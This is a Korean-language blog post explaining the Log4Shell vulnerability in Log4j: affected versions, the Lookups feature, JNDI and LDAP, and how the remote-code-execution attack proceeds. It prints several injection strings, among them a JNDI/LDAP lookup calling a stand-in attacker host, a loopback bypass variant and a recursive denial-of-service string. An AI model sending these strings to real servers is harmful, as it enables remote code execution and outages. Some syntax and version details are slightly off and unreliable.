본문 바로가기

CS & ITS

[Network/Topic] Log4Shell/Log4J 보안 취약 이슈

Log4Shell

Log4Shell은 이번 Log4J 이슈를 지칭합니다. 2021년 12월 9일 알리바바 클라우드 보안 팀(Alibaba Cloud Securiy Team)에 의해서 처음 보고되었으며, 이미 12월 1일부터 exploit되고 있었다고 추정하고 있습니다. Log4Shell은 RCE(Remote Code Execution) exploit 중 하나로 원격 코드 수행에 의한 취약점 공격을 받을 수 있습니다. 일반적으로 서버 시스템은 신뢰 할 수 있는 사용자(또는 컴퓨터)에게만 리소스 접근을 허용하므로, RCE 보안 이슈가 있는 시스템은 가장 높은 수준의 위험을 지닌 것으로 판단합니다.

RCE 0-day exploit

0-day(Zero-day) exploit은 exploit 주체들이 보안/시스템 관리자보다 먼저 취약점을 발견한 상태입니다. 따라서 해당 보안 이슈를 수정 할 여유 시간이 0일 남아있다 라는 의미에서 0-day라고 부릅니다. 그만큼 최우선으로 해결 되어야 할 이슈입니다. Log4Shell는 RCE 취약성과 함께 이미 보안이 뚫려있다는 점에서 0-day 이슈에 해당하며, CVSS(Common Vulnerability Scoring System, 컴퓨팅 시스템 보안 심각도에 대한 평가)에서 10점 중에 10점을 받은 가장 높은 단계의 위험성을 지니고 있습니다.

Log4J

Java 언어에서 로깅 프레임워크를 위한 패키지입니다. 애플리케이션에서 로그를 원하는 규격으로 포멧팅(formatting)하고 필터링(filtering), 기록(Recording)하는 용도입니다. 우선 이번 Log4Shell에서 중점이 되고 있는 버전은 다음과 같습니다.

  • 버전 2.0-beta9 ~ 2.14.1에서 RCE exploit 발견(버전 2.12.2 제외)
  • 버전 2.15에서 RCE exploit 추가 발견
  • 버전 2.16에서 Dos 이슈 추가 발견

Log4J 취약점은 버전 2.14에서 최초로 발견되었으며, 따라서 Log4J2 exploit 또는 Log4Shell이라고도 부릅니다.

Log4J Lookups

Lookups는 로그 출력 시 시스템 속성 등의 값을 변수나 예약어를 사용하여 출력하는 기능입니다. 아래 코드는 자바 런타임 버전을 로그에서 출력합니다. 테스트를 위해서 log4j-api와 log4j-core 라이브러리가 포함되어 있어야 합니다.

logger.error("This is show Log4J lookups's vulnerability - ${java:runtime}");

실행 결과는 다음과 같습니다. 앞으로 나오는 JNDI와 함께 쓰일 때 문제가 발생합니다.

01:35:19.987 [main] ERROR Log4JExploit - This is show Log4J lookups's vulnerability - Java(TM) SE Runtime Environment (build 10.0.2+13) from Oracle Corporation

JNDI(Java Naming and Directory Interface)

JNDI는 클라이언트가 서버에서 찾고자 하는 데이터를 lookup, querying, binding 할 수 있도록 도와주는 인터페이스입니다. Log4J 버전 2.14에서 JNDI를 포함하는 쿼리를 호출하는 경우 데이터를 lookup하는 기능을 포함하고 있습니다. Log4j의 Lookups 기능을 사용하게 되면 JNDI 쿼리를 포함하는 유저의 요청을 로깅하는 과정에서 exploit 주체가 입력한 URL을 단순 문자열로 판단하지 않고 시스템에서 호출하게 됩니다.

LDAP(Lightweight Directory Access Protocol)

LDAP는 디렉토리 서비스에 접근하여 리소스를 조회하는 프로토콜입니다. 사용자 요청을 보내면 LDAP는 요청을 처리한 후에 결과를 요청자에게 다시 전달합니다. Log4Shell은 JNDI와 LDAP의 요청을 검사하지 않는다는 점을 이용한 exploit입니다. 아래 문자열은 exploit에 포함 될 수 있는 URL의 예시입니다. 그리고 해당 URL을 통해서 어떻게 취약점을 공격하는지도 함께 설명하도록 하겠습니다.

{$jndi:ldap://exploitserver.com:8080/a}
  • Log4J는 로깅 과정에서 exploit 주체가 발송한 URL 구문을 분석합니다. 취약(Vulnerable) 서버는 요청 헤더에 포함 된 정보를 로깅하는 과정 등에서 URL 정보가 담긴 문자열을 찾게 됩니다.
  • URL 구문이 JNDI 쿼리를 포함하는 경우 Log4J 로깅 프레임워크는 내장되어 있는 Lookups 기능으로 인해 해당 URL을 시스템이 호출하도록 합니다.
  • exploit 주체가 미리 준비한 LDAP 서버를 통해 취약 서버에게 exploitserver.com:8080/a으로 리디렉션 되도록 유도합니다.
  • 취약 서버는 리디렉션 된 URL로 LDAP 서버에 요청을 보내고, LDAP 서버는 악성 코드를 포함하는 자바 클래스가 위치한 디렉토리를 응답합니다.
  • 취약 서버는 응답 받은 자바 클래스를 해석하여(또는 다운로드하여) 클래스가 포함하고 있는 악성 코드를 실행합니다.

신뢰 할 수 없는 사용자의 입력 URL을 서버 컴퓨터가 실행하고, URL에 심어져 있는 악성 코드를 처리하게 됩니다. 이에 대한 대응으로 많은 시스템이 Log4j 버전 2.15로 업그레이드 하였으나, 상위 버전에서 exploit 이슈가 추가로 발견되었습니다. 기존 2.14 버전과의 차이점은 원격 URL을 호출하지 않도록 수정한 점입니다. 문제는 로컬 URL로 시작하는 요청에 대해서는 허용한다는 점인데, 다음과 같이 해시 태그(#)를 기준으로 루프백(Loopback) 주소와 exploit URL을 입력 시 2.14와 마찬가지로 exploit이 가능한 상태입니다.

{$jndi:ldap://127.0.0.1#exploitserver.com:8080/a}

추가로 버전 2.15의 취약성을 개선한 Log4j 버전 2.16에서는 Dos(Denial Of Services) 이슈가 발견되었습니다. Dos 이슈는 CVSS 취약 점수 3.7점으로 시작하였으나 RCE exploit이 여전히 가능한 것으로 판단되어 9점으로 조정되었습니다. 

${${::-${::-$${::-j}}}}

다음과 같은 문자열을 exploit 주체가 서버에 전송하게 되면 무한 재귀 콜로 인해 스택 오버플로우가 발생하여 시스템이 마비되는 이슈입니다. 해당 CVSS 리스크 스코어는 7.5로 RCE exploit 보다는 위험성이 낮지만 여전히 치명적인 문제로 남아있습니다. 이 문제 또한 Log4j 버전 2.17에서 수정되었으며 아직까지는 추가적인 exploit에 대해서 발견되고 있지는 않습니다.